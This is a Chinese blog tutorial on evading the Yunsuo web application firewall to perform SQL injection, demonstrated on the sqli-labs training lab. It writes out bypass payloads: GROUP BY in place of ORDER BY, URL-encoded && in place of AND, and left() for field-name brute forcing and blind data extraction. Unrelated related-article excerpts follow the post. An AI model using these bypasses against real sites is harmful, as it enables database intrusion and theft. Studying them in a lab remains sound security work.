【网络安全】——sql注入之云锁bypass

news2024/10/6 22:25:15

作者名:Demo不是emo 

主页面链接主页传送门
创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构

每日emo:你生活在光亮里,就觉得全世界都是光亮的

 

 sql注入不会绕过WAF?关注我,让我带你由简入难实战各个WAF,前天我们实战了安全狗的WAF,今天先来看看比它难度更高的云锁WAF,你会绕吗?看我带你将它拿下

目录

一:环境配置

1.云锁WAF

2.sqli-labs的sql注入靶场环境

3.检测WAF是否起作用 

二:实际操作

 1. order by语句绕过

 2.and 连接符绕过

 3.substr截取函数绕过

 4.取字段名绕过

 5.取数据 


一:环境配置

1.云锁WAF

环境配置首先就是要搭建云锁的WAF防护,这里也给大家准备好了,连接如下 

链接:https://pan.baidu.com/s/10i982aEUOt2faz78ndVriw?pwd=u6w6 
提取码:u6w6 

2.sqli-labs的sql注入靶场环境

这个我相信屏幕前的渗透大牛们应该都有吧(没有的可以私我拿),这里就不多介绍了,主要是拿实战环境过不了审,所以只能用靶场,大家理解一下,思路都是一样的 

3.检测WAF是否起作用 

 这里以sqli-labs靶场的第一关做演示,如下 

传入id=1后,加单引号,正常报错,说明可能存在注入 

http://192.168.0.108/sql/less-1/?id=1' 

 再加入%23,回显正常,说明为字符型注入 

再使用union select 语句,如下

http://192.168.0.108/sql/less-1/?id=1' union select %23

出云锁拦截页面,说明云锁布置成功,如下 

二:实际操作

 1. order by语句绕过

在尝试云锁对order by语句的防护绕过时,我使用了大量的fuzz,但是仍然绕不过去,所以只能寻求order by的替换方式,那就是group by语句,该语句效果等同于order by,经过测试,这个语句并没有被云锁拦截

http://192.168.0.108/sql/less-1/?id=1' group by 3%23

 

 2.and 连接符绕过

云锁的and绕过也比较简单,将and替换为%26%26(&&的url的编码)即可绕过检测

http://192.168.0.108/sql/less-1/?id=1' %26%26 1=1 %23

这里的&&必须换成url编码,否侧&会被识别为变量标识符 

 3.substr截取函数绕过

 截取函数也是同理,substr()函数肯定是用的最多的,对应的也是被封的最多的,这里其实只需要将substr()函数换成left()函数,能达到一样的效果

http://192.168.0.108/sql/less-1/?id=1' %26%26 left("abcd",1) = 'a' %23

 4.取字段名绕过

云锁的取字段操作,因为涉及太多的敏感词,而fuzz对于云锁基本没用,所以我们直接另辟蹊径,这里也是我想使用的一个技巧——left函数的另类使用

因为left可以使用, 所以就可以构造如下的语句

select * from users where id = 1 and left(abcd,1)='a'

效果如下

 果不其然,提示没有abcd这个字段,此时我们将abcd换成id,效果如下

可以看到不会报出不存在字段这个错误了,说明存在这个字段,也就是通过该方法可以对表中已有的字段名进行判断

所以我们可以构造一个常用字段名的字典,来进行一个爆破

至于为什么会报这个错误,具体的原理前面的文章也有介绍过,这里就不多讲了,想了解的小伙伴可以点此移步到我对此进行讲解的博客

 5.取数据 

现在我们已经知道字段名了,接下来就是一个正常的盲注流程,通过字段名一位一位取数据,这里就不多讲了,比如下面这个就是判断username中的数据有没有第一位字符是a的,有的话就不会报错

select * from users where id = 1' %26%26 left(username,1) = 'a' %23

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/37205.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

嵌入式分享合集110

一、功耗,成为芯片设计的头号问题 很明显,热量将成为半导体未来的限制因素。已经有很大一部分芯片在任何时候都是黑暗的,因为如果所有东西同时运行,所产生的热量将超过芯片和封装消散该能量的能力。如果我们现在开始考虑堆叠模具…

智能网卡的网络加速技术

2021年9月25日,由“科创中国”未来网络专业科技服务团指导,江苏省未来网络创新研究院、网络通信与安全紫金山实验室联合主办、SDNLAB社区承办的2021中国智能网卡研讨会中,多家机构谈到了智能网卡的网络加速实现,我们对此进行整理&…

金枪鱼群优化算法(Matlab代码实现)

👨‍🎓个人主页:研学社的博客 💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜…

跑步需要哪些运动装备?跑步装备选购指南

跑步是一项有氧运动,是富有韵律性的运动,在运动过程中,血液可以供给心肌足够的氧气;氧气能充分酵解体内的糖分,还可消耗体内脂肪,增强和改善心肺功能,预防骨质疏松。 而在跑步的时候选择好自己的运动装备&…

代码随想录训练营第32天|LeetCode 122.买卖股票的最佳时机II、55. 跳跃游戏、45.跳跃游戏II

参考 代码随想录 题目一:LeetCode 122.买卖股票的最佳时机II 按照自己的想法,无非就是在最低点买入,在最高点卖出,因此只需要找到成对的极小值和极大值,就可以计算利润了。代码实现如下: class Solutio…

使用姿势估计构建 姿势校正器

我们中的许多人大部分时间都在办公桌前弯腰驼背,身体前倾看着电脑屏幕,或者瘫坐在椅子上。如果你像我一样,只有当你的脖子或肩膀在数小时后受伤,或者你有偏头痛时,你才会想起你的不良姿势。如果有人可以提醒您坐直不是…

SpringBoot配置文件(学习笔记)

目录 一、配置文件概述 配置文件的作用 配置文件的格式 二、application.properties 配置文件 基本语法 读取配置文件 三、application.yml 配置文件 基本语法 读取yml中的配置 1、yml配置的简单读取 2、读取yml 配置中不同数据类型及 null​编辑 2、读取yml配置文…

Python基础知识入门(三)

Python基础知识入门(一) Python基础知识入门(二) 一、元组类型 元组是用英文小括号 () 把所有元素包裹起来,元组里面的每一个数据叫作元素。每个元素之间都要用 英文逗号 ( , ) 隔开。例如:(1,2,3)。 注意…

Head First设计模式(阅读笔记)-04.工厂模式

披萨订购 假设要完成披萨订购的功能,披萨的种类很多,比如 GreekPizz、CheesePizz 等,披萨店会根据用户需要的披萨种类制作披萨,制作的流程包括prepare->bake->cut->box 简单实现 下面代码的实现十分简单清晰,…

从0到0.1学习 lambda表达式(Java版)

编码几年时间,有一个东西似乎一直也逃不过去,那就是lambda表达式。 无论是c#,Python还是Java,lambda的思想都是共通的。但以下的语法和实例为java。 现在就来说说这个看似很难的lambda表达式 什么是lambda表达式? l…

【owt-server】m88分支和m59-server

OWT 单独有个webrtc的仓库,里面有m88的分支Merged Upgrade sdk to m88 for webrtc node #1026 提交记录 主干merge Merge pull request #1026 from starwarfan/mst-88webrtc-m88 目录 构建修改

【信管2.2】项目管理知识体系与组织结构

项目管理知识体系与组织结构上一次课中,我们已经学过了项目以及项目管理的概念,这些内容帮我们认识到了项目到底是个什么东西,有什么特点,和运营有什么区别等等。今天我们就继续沿着项目这件事说下去,我们将一起探讨一…

【知识网络分析】共引网络(co-citation)

共引网络(co-citation) 1 读取本地文献构建共引网络数据集2 网络数据集精简3 社团群体划分4 节点中心度相关指标计算1 读取本地文献构建共引网络数据集 RC.networkCoCitation()方法中的参数与RC.networkCitation()方法中的参数功能一致。该案例中使用的数据集同样为2020-202…

SpringBoot框架保姆级笔记一看就会

文章目录 文章目录文章目录[toc]1️⃣ 简介一. 什么是 [IoC](https://so.csdn.net/so/search?qIoC&spm1001.2101.3001.7020) 容器?二. AOP面向切面编程三. SSM整合四. HttpServletRequest五. HttpServletResponse六. Cookie 与 Session七. Cookie八. Session九…

Java异常01:Error 和 Exception

什么是异常 # 实际工作中,遇到的情况不可能是非常完美的。比如:你写的某个模块,用户输入不一定符合你的实际要求、你的程序要打开某个文件,这个文件可能不存在或者文件格式不对,你要读取数据库的数据,数据…

最全面的SpringMVC教程(一)——SpringMVC简介

前言 本文为SpringMVC相关教程,下边将对SpringMVC进行简单介绍,具体包含:对MVC架构的回顾,什么是SpringMVC,SpringMVC编程示例(包含配置版示例、注解版示例),初识SpringMVC&#xff…

NM DEV Mathematics for Java 【suanshu.net免费】

NM Dev是一个面向对象、高性能、经过广泛测试和专业记录的数学编程库,在S2上运行。自 2010 年开发以来,它是大量经过编码的数值算法,因此它们是可靠的面向对象、统一和可测试的。编程经验或数学知识很少的用户可以通过快速组合类轻松地为他或…

备战 2023 春招,P7 大咖手打 26 大后端面试专题神技,1500 题解析助力

年过后,不少人已经蓄势待发,信心满满地准备投递简历,到处面试,在不同的 Offer 之中择优而栖。 与此同时,也有人会悔恨自己这半年进步不大,每天噼里啪啦敲代码,但面对那些不能再熟悉的 Java 面试…

大数据毕设选题 - 生成对抗网络的照片上色动态算法设计与实现(深度学习 opencv python)

文章目录1 前言1 课题背景2 GAN(生成对抗网络)2.1 简介2.2 基本原理3 DeOldify 框架4 First Order Motion Model1 前言 🔥 Hi,大家好,这里是丹成学长的毕设系列文章! 🔥 对毕设有任何疑问都可以问学长哦! 这两年开始…

Linux项目后端部署及JDKTomcatMySQL安装

前言 上一篇文章简单的分享了在VMware上安装linux系统,本篇文章将要分享的内容是使用linux系统完成项目的部署 一、前置准备工作 在Windows系统中,我们要在开发环境下才能进行项目的开发。那么在linux系统中也是,在安装完linux系统后&#xf…